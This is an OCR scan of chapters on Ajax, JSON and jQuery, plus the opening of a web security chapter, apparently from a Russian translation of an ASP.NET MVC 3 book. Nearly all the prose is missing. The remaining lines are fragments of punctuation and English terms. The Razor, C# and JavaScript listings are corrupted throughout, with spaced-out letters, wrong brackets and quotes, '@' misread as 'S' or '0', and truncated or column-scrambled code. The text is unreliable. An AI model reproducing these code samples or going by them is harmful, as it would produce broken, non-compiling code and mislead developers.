DateTime.Parse ("1/1/2012") J,
DateTime.Parse("2/1/2012")},
DateTime.P a r s e ("3/1/2012") ),
DateTime.Par s e ("1/20/2012")},
DateTime.Parse("1/22/2012")},
DateTime.Parse ("2/25/2012")},
DateTime.P a r s e ("2/25/2013"))
558
Ajax
A ja x O p tio n s , JavaScript,
Ajax. 19.2.
19.2. A ja x O p tio n s
jQuery
OnBegin
beforeSend
OnComplete
complete
OnFailure
error
OnSuccess
success
,
,
AjaxOptions Ajax,
j Query. jQuery . 19.2
, jQuery.
, , :
h t t p : / / a p i . j q u e r y . /jQ u e r y . ajax
Ajax
JavaScript-, .
_L ay o u t. cshtml script . 19.14.
19.14. JavaScript-
< !DOCTYPE html>
<html>
<head>
< title>@ViewBag,Title</title>
clink href="@Url.Content("-/Content/Site.css")" rel="stylesheet" type="text/css" f>.
Cscript s r c = "@ U rl.C o n te n t("'/S c r ip ts/jq u e r y - 1. 4 . 4 .m in.j s " )"
...................
t y p e = " t e x t ; : a v a s c r i p t " > < J scr i p t >
c s c r i p t s r c = @ U r l . C o n t e n t (" - / S c r i p t s / j q u e r y .u n o b t r u s i v e - a j a x . m i n .js )
type="text/javascript "></script>
<script type="text/javascript">
f unction OnBegin() {
a l e r t ( " T h i s is the O n B e g i n C a l l b a c k " ) ;
}
function OnSuccess(data) {
a l e r t ( " T h i s is the O n S u c c e s s C a l l b a c k :
" + data) ;
)
f u n c t i o n O n F a i l u r e ( r e q u e s t , error) {
a l e r t ( " T h i s is th e O n F a i l u r e C a l l b a c k : " + e r r o r ) ;
}
function OnComplete(request,
status)
a ie r t ( " T h i s is the O n C o m p l e t e Ca l l b a c k :
}
</script>
c/head>
+ status),
19. Ajax
559
<body>
SRenderBody()
</body>
</html>
.
,
.
AjaxOptions ( 19.15).
19.15. A ja x O p tio n s
@model string
@{
V ie w B a g . T i t l e = " I n d e x " ;
AjaxOptions ajaxOpts = new AjaxOptions {
UpdateTargetld = "tabledata",
Url = Url.Action("AppointmentData"),
LoadingElementld = "loading"
};
}
<h4>Appointment List</h4>
< d iv i d = " l o a d i n g " s t y l e = " d i s p l a y : n o n e ; c o l o r : R e d ; f o n t - w e i g h t : bo ld ">
<p>Loading D a t a . . .</p>
</div>
Susing (Ajax.BeginForm(ajaxOpts)) {
<table>
<thead>
<th>Client Nane</th>
<th>Appointment Dates</th>
</thead>
<tbody id="tabledata">
SHtml.A c t i o n ("AppointmentData", new { id = Model })
</tbody>
</table>
<p>
SHtml.DropDownList ("id", new SelectList (
new [] { "All", "Joe", "Jane", "Bob" }, (Model ?? "All")))
<input type="submit" value = "Submit" />
</p>
}
Sforeach (string str in new [] { "All", "Joe", "Jane", "Bob" )) (
<div style="margin-right:5px; float:left">
@Ajax.ActionLink (str, "Index", new { id = str ),
new AjaxOptions {
UpdateTargetld - "tabledata",
LoadingElementld = "loading",
Url = Url.Action ("AppointmentData", new { id = str)),
OnBegin = "OnBegin",
OnFailure = "OnFailure",
OnSuccess = "OnSuccess",
OnComplete = "OnComplete"
))
</div>
560
,
Ajax- , . 19.6.
. 19.6. Ajax
, Ajax,
. JavaScript-
, : HTML DOM,
..
JSON-, .
JSON
Ajax, ,
h t m l . ,
,
, - , JSON. JSON
(JavaScript Object Notation JavaScript)
. JavaScript,
. 19.16
Appointment, JSON.
19.16. JSON- A p p o in tm e n t
{"ClientName":"Joe","Date":"1/1/2012","TermsAccepted":false}
, . JSON
/
, . JSON ,
19.17.
19.17. JSON- A p p o in tm e n t
[("ClientName":"Joe","Date":"1/1/2012","TermsAccepted":false},
{"ClientName":"Joe","Date":"2/1/2012","TermsAccepted":false},
{"ClientName":"Joe","Date":"3/1/2012","TermsAccepted":false}j
19. Ajax
561
JSON
MVC Framework ,
JSON, HTML. 19.18.
19.18. , JSON
public JsonResult JsonData(string id) {
IEnumerable<Appointment> data
new Appointment { ClientName
new Appointment { ClientName
new Appointment { ClientName
new Appointment { ClientName
new Appointment { ClientName
new Appointment { ClientName
new Appointment { ClientName
=
=
=
=
=
=
=
=
new[] {
"Joe",
"Joe",
"Joe",
"Jane",
"Jane",
"Bob",
"Bob",
Date
Date
Date
Date
Date
Date
Date
=
=
=
=
=
=
=
DateTime.P a r s e ("1/1/2012") ),
DateTime.Parse ("2/1/2012") ),
DateTime.Parse ("3/1/2012") },
DateTime.Parse ("1/20/2012")),
DateTime.Parse ("1/22/2012")),
DateTime.Parse("2/25/2012")},
DateTime.P a r s e ("2/25/2013")}
};
if (!string.IsNullOrEmpty(id) S S id != "All")
data = data.Where (e => e.ClientName == id);
}
var formattedData = d a t a .Select (m => new {
ClientName = m.ClientName,
Date = m.Date.ToShortDateStringO
}) ;
return Json
J s o n R e q u e s tB e h a v io r .A llo w G et)
,*
>
JsonData,
Jso n R esu lt ( 12). Json R esu lt
Json ,
JSON:
return Json(formattedData, JsonRequestBehavior.AllowGet);
A llo w G e t JsonRequest
Behavior. JSON
POST, , Json,
j s o n - h i j a c k i n g .a s p x ,
562
, H T M L
A p p o in tm e n t ,
, LINQ:
v a r fo rm a tte d D a ta = d a t a . S e le c t ( m => new {
C lie n tN a m e = m .C lie n tN a m e ,
Date = m. D a t e . T o S h o r t D a t e S t r in g ()
}>;
. ,
T e rm sA c c e p te d , ,
.
J S O N -. M V C Framework D ateTim e
J S O N ,
A p p o in tm en t:
( " C lie n tN a m e " : " J o e " ," D a t e " : " / D a t e (1 3253 7 6 0 0 0 0 0 0 )/ " , " T e rm sA c c e p te d " : f a l s e )
A p p o in tm e n t J so n .
J S O N -,
.
JavaScript- D ate .
,
, .
, U R L . ,
J S O N - A p p o in tm e n t C lie n tN a m e .
J o e , U R L h t t p : / / l o c a l h o s t : 12 2 3 9 /
A p p o in t m e n t / J s o n D a t a / J o e . M V C Framework
J S O N : ,
, .
J S O N - Google Chrome, JSON
(. 19.7). , Internet Explorer Firefox.
J S O N - .
JSON
J S O N -, M V C Framework JavaScript- O nS uccess
A ja x O p t io n s , 19.19.
19.19. A ja x O p t io n s
Sforeach (string str in n e w [] { "All", "Joe", "Jane", "Bob" )) {
<div style="margin-right:5px; float:left">
@Ajax.ActionLink(str, "Index", new { id = str ),
19. Ajax
563
new AjaxOptions {
LoadingElementld = "loading",
Url = Url .Action ("JsonData", new { id = str }),
OnSuccess = "OnSuccess",
})
</div>
}
: U p d a t e T a r g e t l d .
, ,
HTML. JavaScript-,
JSON HTML-, .
s c r i p t , .
JSON Ajax,
19.20
}
}
</script>
JavaScript-, JSON-,
. ,
HTML- JSON-
D O M .
jQuery; 20.
,
JSON . -,
, .
. -,
: HTML
JSON-,
JavaScript, .
,
Ajax
JSON- HTML-
. , Ajax-,
JSON, HTML- ( ).
19.21 , A p p o i n t m e n t D a t a .
564
Appointment
Appointment
Appointment
Appointment
Appointment
{
{
{
(
{
ClientName
ClientName
ClientName
ClientName
ClientName
=
=
=
=
=
"Joe",
"Jane",
"Jane",
"Bob",
"Bob",
Date
Date
Date
Date
Date
=
=
=
=
=
DateTime.P a r s e ("3/1/2012")),
DateTime.P a r s e ("1/20/2012")},
DateTime.Parse ("1/22/2012")},
DateTime.P a r s e ("2/25/2012")},
DateTime.P a r s e ("2/25/2013")}
};
if (!string.IsNullOrEmpty(id) && id != "All") {
data = data.Where (e => e.ClientName ~ id) ,-
)
if (Request.IsAjaxRequest()) {
return Json(data.Select(m => new {
ClientName = m.ClientName,
Date = m . D a t e .ToShortDateString()
}) , JsonRequestBehavior.AllowGet);
) else (
return View(data);
Is A ja x R e q u e s t , )-.
, H ttpRequestBase
-.
JSON-
JSON- ,
. MVC
Framework JSON-,
, 17. 19.22
, jQ uery-, JSON-
.
19.22. JSON-
@model A p p o i n t m e n t
<script
()
{
(e)
e .p re v e n tD e fa u lt ();
var
appointm ent
$ ( 1# D a t e 1 ) . v a l ( ) ,
typ e:
' POST',
d a t a : JSON. s t r i n g i f y ( a p p o i n t m e n t ) ,
dataType:
' j s o n 1,
processData:
false,
ContentType:
success:
fun ction
(data)
c h a r s e t = u t f - 8 1,
19. Ajax
565
$('#datetarget').text(data.Date);
$('#termstarget') .text (data.TermsAccepted);
$('#results') .show ();
},
}) ;
}) ;
});
</script>
<h4>Create Appointment</h4>
Susing (Html.B eginForm()) {
@Html.EditorForModel()
Cinput type="submit" value="Submit" />
}
<div id="results" style="display:none">
Here is the appointment you created:
<p>ClientName: <span id="clienttarget"/x/p>
<p>Date: <span id="datetarget" /></p>
<p>Terms Accepted: <span id="termstarget" /></p>
</div>
JSON. stringify,
. ,
Internet Explorer 7 ,
, j s o n 2 . j s h t t p : / / g i t h u b . /
d o u g l a s c r o c k f o r d / J S O N - j s.
: 20-
jQuery, ,
JSON.
JSON- ,
. 19.23 ,
JSON jQuery.
19.23. JSON
p u b lic c la s s HomeController : C o n t r o l l e r (
public ActionResult I n d e x () {
return View(new Appointment 0) ;
}
[HttpPost]
public ActionResult Index(Appointment app) {
if (Request.IsAjaxRequest()) (
return Json(new {
ClientName = app .ClientName,
566
-
J S O N . Appointment
J S O N .
Appointment J S O N Json,
.
JavaScript
M V C Frapiework Ajax.
M V C Framework Ajax
jQuery, JavaScript-
, jQuery.
Ajax,
jQuery , J S O N -,
, JavaScript-
, . ,
jQuery.
20
j Query
, jQuery, JavaScript-
,
2 0 0 6 . -
, .
C S S 3 D O M ,
API- D O M
Ajax
.
Microsoft jQuery M V C Framework.
Ajax,
, jQuery.
j Query ,
,
JavaScript. ,
, , JavaScript,
M V C Framework.
jQueiy M V C Framework.
M V C F ram ew ork ,
j Query. , ,
jQueiy - www.jquery.com.
jQuery.
JavaScript ( ", 20 1 0 .).
jQuery
M V C Framework, .
jQuery ,
Razor H T M L, .
20.1.
20.1. I n d e x . c s h t m l
@using Mvc A p p .Models;
0model IEnumerable<Summit>
@{
ViewBag.Title = "List of Summits";
}
<h4>Summits</h4>
568
<table>
<thead>
<tr><th>Name</th><th>Height</thxth></ t h x / t r >
</thead>
Sforeach (Summit s in Model) (
<tr>
<td>@s .Narae</td>
<td>@s.Height</td>
<td>
0using (Html.BeginForm("DeleteSummit", "Home"))
@Ht m l .H i d d e n ("name", @s .Name)
<input type="submit" value="Delete" />
)
</td>
</tr>
)
</table>
SHtml.ActionLink("Add", "AddSummit")
Susing (Htrjl.BeginForm ("ResetSummits" , "Home"))
<input type="submit" value="Reset" />
}
Summit
Name () Height ().
, ,
H T M L -, 20.2.
2 0 .2 . HTML-,
<!DOCTYPE html>
<html>
<head>
<title>List of Summits</title>
<link href="/Content/Site.css" rel="stylesheet" type="text/css" />
< script src="/Scripts/jquery-1.5.1.min.js" type="text/javascript"x/script>
</head>
<body>
<h4>Summits</h4>
<table>
<thead>
</th ead>
<tr>
<td>Everest</td>
<td>8848</td>
<td>
20. jQuery
< fo rm
< in p u t
id = " n a m e "
< in p u t
ty p e = " s u b m it"
569
m e th o d = "p o s t">
ty p e = " h id d e n "
v a lu e = " D e le te "
v a lu e = "A c o n c a g u a "
/>
/>
< / fo rm >
< / td >
< /tr>
. . .
t r . . .
< in p u t
ty p e = " s u b m it"
v a lu e = "R e s e t"
/>
.
. 20.1 , HTML-
.
, Visual Studio, a Internet Explorer 9.
jQuery
MVC Framework,
Visual Studio, jQuery,
/ S c r i p t s . ,
, .
. 20.1.
. 20.1. H T M L - -
20.1. jQuery,
Visual Studio MVC Framework
j q u e ry - 1 . 5. l . j s
jq u ery-1 .5 .1 .m in .js
jQuery
jq u e r y - u i.js
jq u e ry -u i.m in .js
jQuery
Ul. . jQuery Ul
jq u e ry -u n o b tru s iv e -a j a x .j s
j qu ery-u n obtru sive-aj ax .min.j s
,
Ajax (. 19)
jq u e r y - v a lid a t e .js
jq u e r y - v a lid a te .m in .js
(. 18)
IntelliSense
. . jQuery
: .
, .
JavaScript ,
. jQ uery
JavaScript.
570
. - /Scripts ,
Microsoft , MicrosoftAjax.js. MVC Framework 2,
jQuery
Visual Studio MVC Framework jQuery
1.5.1. MVC Framework , jQuery.
1.6.1, , ,
. jQuery, (
T o o ls O L ib ra ry Package M anager (^ )
Update-Package jquery
jQuery
. /Views/Shared/_Layout.cshtml,
, ,
<script src="@Uri.C o n t e n t ( / Scripts/jquery-1.5.1.m i n .js")" ...
20. jQuery
571
jQuery ,
, script ,
, .
. - jQuery
(CDN). " CDN JavaScript
18.
jQuery-
jQuery .
IntelliSense Visual Studio,
jQueiy, , IntelliSense #,
.
-/Scripts jquery-1.5 .1-vsdoc.js. jQuery
IntelliSense ,
, script , 20.4.
, .. ,
Visual Studio, Razor if,
false. ,
Visual studio , jQ u eiy IntelliSense.
.
script jQuery , C# (. 20.2).
572
, script
, IntelliSense jQuery.
, , .
. .
IntelliSense, j Query.
jQuery
j Query Visual Studio.
, ,
. jQuery,
, .
. Google Chrome Mozilla Firefox.
Internet Explorer,
IE9, , Chrome Firefox.
Firefox
JavaScript
Firefox Firebug. Firebug
, Firefox
HTML.
C S S JavaScript. JavaScript,
JavaScript- -.
, jQuery.
Firefox, Firebug (
h t t p :/ / g e t f i r e b u g .com) HTML-,
. ,
MVC Framework.
Firebug , . 20.3.
. 2 0 .3 . Firebug Firefox
20. jQuery
573
20.5. jQuery -
va r s=document. cre a te E le m e n t( ' s c r i p t 1) ;
s . s e t A t t r i b u t e (1s r c ', 'h t t p ://jquery.com/src/jquery-latest. j s ') ;
document. g e t E l eme n t s B y T a g N a me ( ' b o d y ' ) [ 0 ] . a p p e n d C h i l d ( s ) ;
s c r ip t j Query.
. (bookmarklet)
URL, j Query, .
- h ttp://jqu ery.com ,
URL, Microsoft CDN jQuery.
MVC Framework.
jQuery (
JavaScript) . ,
Microsoft, jQ uery
jQ u e ry ('a ') .h id e (). jQ u eiy ,
<Enter>, jQuery -
(. 20.4).
. 2 0 .4 . -
574
, ,
Firefox Firebug ,
j Query.
Chrome
, , Chrome, , Firebug,
.
JavaScript. Firebug, Firebug
Lite Firebug Firefox, .
- Chrome Customize and Control
Google Chrome ( Google Chrome)
Tools^JavaScript Console (^ JavaScript).
: -
<Ctrl+Shift+J>. . 20.5.
. 2 0 .5 . JavaScript- Chrome
j Query .
-, jQuery,
, 20.5.
jQuery
j Query JavaScript- jQuery().
(D O M ), H T M L , C S S -.
; jQuery ("DIV.MyClass") D O M div, CSS
MyClass.
j Q u e r y O jQuery: jQueiy.
, ,
. API- j Query
. ,
jQuery("DIV.MyClass").hide() ,
div. jQuery $(), -
20. jQuery
575
, jQueryQ. . 20.2
.
20.2. jQuery
CSS- SuperBig
<span>, <>
$ (".SuperBig").
removeClass("SuperBig")
C SS- SuperBig
,
$ ("#options") .toggle ()
options: ,
, ,
$ ("DIV:has (INPUT [
type='checkbox' ] :disabled) " ) .
prepend("<i>Hey!</i>")
HTML- <i>Hey!</i>
div,
$("#options A").
css ("color", "red") .fadeOutO
(..
<>),
options,
,
jQuery , ,
, JavaScript-.
. j Query,
.
jQuery
j Query .
, jQuery,
. 20.6 jQuery.
20.6. jQuery
$ ("th").toggle()
th th.
toggle. . 20.1,
. jQuery H T M L -,
,
( ). 2 0 .6
, . 20.3.
20.3. jQuery
$('*)
$('.myclass')
, CSS- myclass
$('element')
element
$('#myid')
myid
576
jQ uery .. ,
HTML DOM. $('#id'),
,
. , :
$('td', myElement)
td, myElement.
20.17.
jQuery- JavaScript- MVC Framework,
, HTML .
:
0Html.TextBox("pledge.Amount")
:
<input id="pledge__Amount" name="pledge.Amount" type="text" value="" />
: pledge .Amount ( ),
pledge_Amount ( ).
.
jQuery $("#pledge_Amount").
$("#pledge.Amount") , .. jQuery ( CSS)
pledge CSS- Amount.
,
, 20.7.
20.7.
$('td, th')
DOM td th.
, , 20.8.
2 0 .8 .
?('td input')
input, td.
, Delete,
, Reset .
.
, .
. 20.4.
, .
. 20.9.
577
20. jQ uery
2 0 .4 . jQuery
$ ( ' [ a t t r ] ')
attr,
attr
attr
attr
val
val
val
attr
v a l
attr
a t t r ,
v a l (v al- )
val
val
20.9.
$ ( ' [ t y p e ] [ v a l u e = " D e l e t e " ] ')
t y p e (
) v a l u e D e l e t e .
,
.
D elete,
jQuery
, jQueiy
.
20.10.
20.10.
$ ( ' t d : e q (8 ) ' )
:e q (8 );
, (
). . 20.5.
20.5. jQuery
:e q (n )
:e v e n
:o d d
:f i r s t
(n
1)-
:l a s t
:g t ( n )
:l t ( n )
:h e a d e r
:not
()
19 . 4039
,
,
578
,
20.10, , 20.11.
20.11.
$(':header')
:header, .
(*).
,
(5('hl h2 h3')), . ,
, 20.12.
20.12.
S ( ' t d :o dd :e q (1)')
td,
, .
, . 20.6.
,
.
20.6. jQuery
:c o n ta in s ( 't e x t ' )
, t e x t
t e x t
: h a s ( 's e le c t o r ')
, ,
s e l e c t o r
: e m p ty
:p a re n t
:fir s t- c h ild
:la s t - c h ild
:n t h - c h ild ( n )
n -
:o n ly - c h ild
: c o n t a i n s ,
, , ,
. , H T M L , ,
$ (' :contains ("2") ')
: t d , ,
( t r , t b o d y , t a b l e , b o d y h t m l) .
20. jQuery
579
! CSS nth-child
. ,
, :nth-child(l), :nth-child(0).
, ,
, HTML-.
. 20.7.
20.7. jQuery
:button
:checkbox
:checked
:disabled
:enabled ,
, ,
:input
input
:password
password
:radio
:reset
input reset
:selected
option
rsubmit
input submit
:text
input text
jQuery
jQuery, .
, .
jQueiy, t o g g l e , jQuery
.
. ,
jQueiy, h t t p : / / j q u e r y . c o m .
D0M
.
jQuery-
MVC Framework. 20.13 ,
jQuery.
20.13.
g u s i n g M v c A p p .M o d e l s ;
580
S if (false) (
< script src ="../../Scripts/jquery-1.5.1-vsd o c .js"
type="text/j avascript"></script>
)
<script type="text/javascript">
$ (document).ready(function () {
//
jQ u e x y -
)) ;
</script>
<h4>Summits</h4>
<table>
<thead>
<trxth>Nam e</th><th>Height</thx/tr>
</thead>
Sforeach (Summit s in Model) {
<t r >
<td>@s. Name</td>
<td>@s. Height</td>
<td>
Susing (Html. BeginForm("DeleteSummit", "Home"))
@Html.H i d d e n ("name", 0s.Name)
<input type="submit" value="Delete" />
)
</td>
</ 1 r >
)
</table>
script ,
.
.
. jQuery, ..
(. 20.3). v s d o c ,
IntelliSense.
$ (document).ready .
. jQuery- D O M ,
( ). .
, ,
, ,
. $(document) .readyO
.
20. jQuery
581
jQuery-, CSS
j Query C SS. jQuery-,
CSS, . 20.14
jQuery C S S H T M L table.
}
</table>
SHtml.ActionLink("Add", "AddSummit")
using (Html.BeginForm("ResetSummits", "Home"))
<input type="submit" vaiue="Reset" />
}
.
jQueiy-,
.
582
, CSS. :
5('tab l e ').addClass('summitTable');
addClass CSS-
table. summitTable Site.css
:
. su m m itT a b le
{
border: thin solid black;
margin: 5px;
}
addClass , summitTable:
, class:
<table class="summitTable">
(zebra strip
ing) :
$ (' t r :e v e n ') .css ('background-color', 'silver')
css ,
silver background-color.
tr . ,
0, 2, 4, 6 ..
<tr style="background-color: silver; ">
__________________________ jQuery-
jQ uery-
. , css ,
$('tr:first').css('background-color')
background-color.
, :
$ ( ' t r ' ) . c s s ( ' b a c k g r o u n d - c o l o r ' , $ ( ' t r : f i r s t ' ) . c s s ( ' b a c k g r o u n d - c o l o r ' ))
t r , t r ,
jQ uery-:
$(':submit[value="Reset"], :contains("Add")')
.c s s (1float', 'left')
.c s s ('margin ', '5px');
:
Ad d Reset. ,
css ,
. A P I-
(fluent A P I), .
jQuery- jQuery,
. , CSS.
20. jQuery
583
. 20 .8 , CSS,
jQuery.
a d d C l a s s ('myClass')
class
hasClass('myClass')
true,
r e m o v e C l a s s CmyClass')
class
toggleClass('myClass')
, ,
cssCproperty',
'value')
C S S D O M ,
jQuery H T M L ; jQuery
" jQuery. . 20 .6
CSS, 20.14.
. , ,
: heightO, width() position().
jQuery API.
D0M
D O M jQuery ,
. , D O M ,
D O M .
, jQuery
D O M , API
. 20 .15
D O M jQuery ,
.
584
2 0 .1 5 . DOM
<script type="text/javascript">
$ (document).ready(function () (
$('tab l e ').a ddClass(1summitTable');
$('t r :e v e n 1).c s s ('background-color1, 1silver');
$ ( 1:submit[value="Reset"], a :contains("Add") 1)
.c s s (1float', 'le f t ')
.css('m a r g i n ', '5p x 1);
$('th:nth-child(2) ') .t e x t ('Height (m) ').af t e r ('<th>Height (ft)</th>) ;
$('td:nth-child(2))
.a f t e r (< t d / > ')
.each (function () {
$ (this).n e x t ().t e x t ((parselnt($(this).t e x t ()) * 3 . 2 8 ) . toFixed(0));
;
)) ;
</script>
, jguery
, . :
$ ( ' t h : nth-child( 2 ) ' ) . t e x t ( ' Height (m)' ) . a f t e r ( ' <th>Height ( f t ) < / t h > ' ) ;
th,
. th H T M L
, Height. text
Height (). ,
.
a fter , .
after , :
th Height (ft).
after
. th.
. jQueiy :
$ ( ' td: nth-child (2) ')
. a f t e r ( 1< t d / > 1)
. each(function ()
)) ;
td,
. td
Height ( Height (m)).
each,
, .
:
$ ( t h i s ) . n e x t ( ) . t e x t ( (parselnt ($ ( t h i s ) . text ()) * 3 . 2 8 ) . t o Fi x ed ( 0 ) ) ;
$(this) ,
. ,
each, , a this
, .
jQuery-, .
this td.
20. jQuery
585
next, ,
, , .
. text,
td .
(1 3,28 ).
. 20.7.
. 20.7. jQuery
. -,
jQuery- D O M : after next
D O M . -,
. jQuery,
, . 20 .16 ,
.
586
. 2 0 .8 .
b e f o r e ( 'n e w ')
new
a f t e r ( 'n e w ')
b e f o r e a f t e r ,
, ..
. . 20.16
i n s e r t B e f o r e ()
i n s e r t A f t e r ()
p r e p e n d ( 'n e w ')
n e w
a p p e n d ( 'n e w ')
appendToO
p r e p e n d a p p e n d ,
, ..
e m p t y ()
rem oved
DOM
p r e p e n d T o ()
a t t r ( 'n a m e ',
'v a l ')
r e m o v e A t t r (' n a m e ')
n a m e
; ,
nam e
val
, jQuery DOM.
. 20.10.
c h i l d r e n ()
nextO
p r e v ()
parentO
sib ilin g sO
-
, .
20. jQuery
587
jQuery
j Query ,
JavaScript, ,
. 20.17.
20.17. jQuery
<script typ e="text/jav ascrip t">
5 (document). ready(function () (
$ ( 1t a b le ') . ad dC lass( ' summitTable') ;
$ ( ' t r : even' ) . c s s ( ' background-color' , ' s i l v e r ' ) ;
$ ( ' : subm it[value="Reset"], a:co n ta in s("A d d ") ')
. css ( ' f l o a t 1, 'l e f t ')
. c s s ( 'm argin', ' 5p x' ) ;
$ ( 1t h :n th-child(2)1) .text('Height (m)1).a f t e r ('<th>Height (ft)</th>');
$ ( t d :n t h - c h ild (2 )')
. a f t e r ( ' < t d /> ')
. e ach (function () {
$ (this) . next () . t e x t ( (parselnt( $ (this) . t e x t ()) * 3 . 2 8 ) . to F ix ed ( 0 ) ) ;
)) ;
$(' form[action$="/DeleteSummit"] 1). submit (function () (
var summitName = $(':hidden', this).a t t r ('value');
return confirm('Are you sure you want to delete ' + summitName + ' ? ) ;
>> ;
});
</script>
submit, ,
. ,
action /DeleteSummit , H T M L , .
, , , .
true, , false, .
confirm,
(. 20.9).
. 2 0 .9 .
588
, ,
, . ,
form.
jQueiy submit,
j Query. jQuery
JavaScript;
jQuery API.
jQuery
j Query ,
. jQuery UI (. ),
,
. 20 .18 ,
.
20.18. jQuery
<script t^pe ="te xt/jav a sc rip t">
$ (document) .ready (function () {
$ ('table') .addClass('summitTable1);
$('tr:even').c s s ('background-color', 1silver');
$(':submit[value="Reset"], a :contains("Add")')
.c s s (1float', 'left')
.c s s ('m a r g i n ', '5 p x ');
$ ( ' <th>Height ( f t ) < / t h > ' ) . i n s e r t A f t e r ( ' t h : n t h - c h i l d ( 2 ) ' ) . a d d C l a s s ( " h e i g h t F t " ) ;
$ ( '<td/>')
.insertAfter('td:nth-child(2)')
.each (function () (
$ (this).text((parselnt($(this).p r e v ().t e x t ()) * 3 . 2 8 ) . toFixed(0));
))
. a ddClas s( ' hei gh tF t1);
$ ( 1< b u t t o n > T o g g l e F e e t < / b u t t o n > ' ) . i n s e r t A f t e r ( ' f o r m [ a c t i o n $ = " / R e s e t S u m m i t s " J ' )
20. jQuery
589
. 20.10.
20.11. jQuery-
f a d e l n ()
fa d e O u t O
'
fa d e T o O
fa d e T o g g le O
h i d e ()
s h o w ()
s lid e D o w n O
s lid e T o g g l e O
s lid e U p O
to g g le d
,
,
, .
. jQ uery a n im a t e ,
jQuery Ul
JavaScript .
jQuery UI
, jQueiy
jQueiy.
JavaScript UI jQuery UI -
.
jQueiy UI ,
,
, , ,
590
. jQuery UI
. ,
h t t p : //jq u e r y u i . com: , /Query U I
(Dan Wellman), Packt Publishing.
jQuery Ul
jQuery UI MVC Framework,
. jQ u eiy UI,
CSS-, .
jQuery, ,
, .
20.19 ,
~/views/Shared/_Layout.cshtml.
<head>
< t it le > @ V ie w B a g .T it le < / t itle >
< lin k h re f= "@ U rl.C o n te n t( "-/ C o n te n t/ S ite . c s s " ) "
r e l= " s t y le s h e e t " ty p e = "te x t/ c s s " />
<script
@ R enderBody()
</body>
</html>
, .. jQuery UI C S S - .
jQ uery , jg u e ry UI
jQuery.
Them eRoller
D /Query Ul , ,
_______________________ _
20. jQuery
591
jQuery UI
, ,
H T M L -. 20.20.
20.20. jQuery Ul
<script ty p e= "te xt/jav ascr ip t">
$ (document). ready(function () {
$ ( 1t a b le ') . ad dC lass( 1summitTable' ) ;
S (1t r :e v e n ') .c s s ('background-color1, 'silver');
$ ( ' <th>Height (ft)< /th>') . insertAfter( ' th:nth-child( 2 ) ' ) . addClass("heightFt");
$ ('< td / > ')
. in s e r t A ft e r ( ' t d : nth- child( 2 ) ')
.each (function () {
$ ( t h i s ) .t e x t ( (parselnt( $ (th is ) .p r e v () . text ()) * 3 .2 8 ) .t o F i x e d ( 0 ) ) ;
))
. addClass( ' h eigh tF t' ) ;
5 ( '<button>Toggle Feet</button>' ) . insertAfter( ' form[action$="/ResetSummits"]')
, c l i c k (function () (
$ (' . h eigh tF t' ) . toggle ();
}) ;
$('a, :submit').button().c s s (float', 'lef t ').c s s ('margin', '5px');
}) ;
</script>
, jQuery UI
j Query.
() submit. button,
jQuery UI, . 20.11.
. 2 0 .1 1 . jQuery Ul
, button
. , , , .. ,
H T M L -,
.
592
. , ,
jQuery Ul. , .
jQuery Ul
ThemeRoller .
,
jQuery UI jQueiy, ,
, , .
,
.
HTML- ,
. 2 0 .2 1 .
20.21. ,
< / t a b le >
<label id="min">5000</label>
< d iv
<label id="max">9000</label>
<div style="clear:both" />
@ H t m l. A c t i o n L in k ( " A d d " , "AddSummit")
0 u s i n g (H t m l. B e g i n F o r m ( " R e s e t S u m m i t s " , "Home"))
-cinput t y p e = " s u b m it " v a l u e = " R e s e t " />
}
, ,
j Q u e i y j Q u e i y UI HTML-,
. l a b e l ,
, d iv , jQ uery UI
. , d i v
.
. 20.22.
20.22.
< s c r ip t t y p e = " t e x t / ja v a s c r ip t >
$ (d o cu m e n t). r e a d y ( f u n c t i o n
()
' s i l v e r ');
0
.a d d C la ss( ' h e ig h tF t') ;
$ ( ' <button>Toggle Fee t< /b u tto n > ') . i n s e r t A f t e r ( ' fo rm [ac tio n $= " /R esetSu m m its"]')
. c l i c k ( f u n c t i o n () {
$ ( ' . h e i g h t F t ') . t o g g l e ( ) ;
}) ;
20. jQuery
$ ( ' ,
593
'5 p x ') ;
$ ( 1#slider').s lid e r ({
range: tr u e ,
min: 5000,
max: 9000,
values: [5000, 9000],
s lid e :
fu n c tio n
(e v e n t, u i)
$('# m i n ').text(ui.values[0]);
$('# m a x ').text(ui.val u e s [1]);
$('tbody t r 1).each(function () {
var height = parselnt($('td:eq(l)', thi s ) .text ());
if (height < ui.values[0] || height > ui.values[1]) {
$ (th is ) .h id e () ;
} else (
$ ( t h i s ) . s h o w () ;
)
)) ;
$('t r :visible:e v e n ').c s s ('background-color', 'silver');
$('t r :visi b l e :o d d ').c s s ('background-color', 'transparent');
}
}) ;
)) ;
</s c r ip t>
jQ uery UI d iv,
, s lid e r , .
,
. range
tru e.
min max,
valu es. ( ) - jQuery UI.
s l i d e ,
.
UI. ,
. ,
$ ( ' #min' ) , t e x t ( u l . v a l u e s [ 0 ] ) ;
$ ( ' #max' ) . t e x t ( u i . v a l u e s [1 ] ) ;
v a lu e s u i ,
,
20.21. , ,
.
:
$ ( 1t b o d y
()
$ ( t h i s ) . show( ) ;
)
});
594
tr , ,
each , .
, ,
show. , hide, .
. ,
,
. jQuery- ,
jQuery API.
:
$ ( 1t r :v i s i b l e : e v e n ' ) . c s s ( ' b a ck g ro u n d -colo r1, ' s i l v e r ' ) ;
?('t r :visible:o d d ') .css(1background-color 1, 'transparent');
, ,
. ,
. ,
,
.
, ,
HTML-, (. 20.12).
. 20.12. jQuery Ul
jQuery jQuery UI , ,
.
,
h t t p : / / jq u e r y . com h t t p : / / jq u e r y u i . com,
API-.
ASP.NET V 3
21
-
-
HTTP. -
: (XSS), (CSRF)
SQL- ,
.
MVC Framework
HTTP- HTML- .
,
HTTP- (, -
), -.
,
, MVC Framework.
, , .
MVC Framework.
! -.
13 ( [ A u t h o r i z e ] ) 22 ( ASP.NET
).
,
, .
, ".
?
URL- (
, (..
).
R e q u e s t . Q u e r y S t r i n g [ ] ).
R e q u e s t . Form
[ ],
-.
HTTP- (
U rlR eferrer).
R equest. UserAgent
Request.
21.
, , , <
597
KK&QTO
- ^ " HTTP?).
, - ;
, , cookie-
.
HTTP?
, , -, ,
, HTTP- GET POST,
cookie-
-. , .
get
- w w w .e xa m p le.co m / pa th / res ou rc e,
DNS- IP- www. e x a m p le . com, TCP- 80
:
GET /path/resouVce HTTP/1.1
Host: www.example.com
[ ]
, , ,
. - :
/1.1 200
Date: Wed, 31 Mar 2010 14:39:58 GMT
Server: Microsoft-IIS/6.0
Content-Type: text/plain; charset=utf-8
<HTML>
<B0DY>
I say, this is a <i>fine</i> web page.
</B0DY>
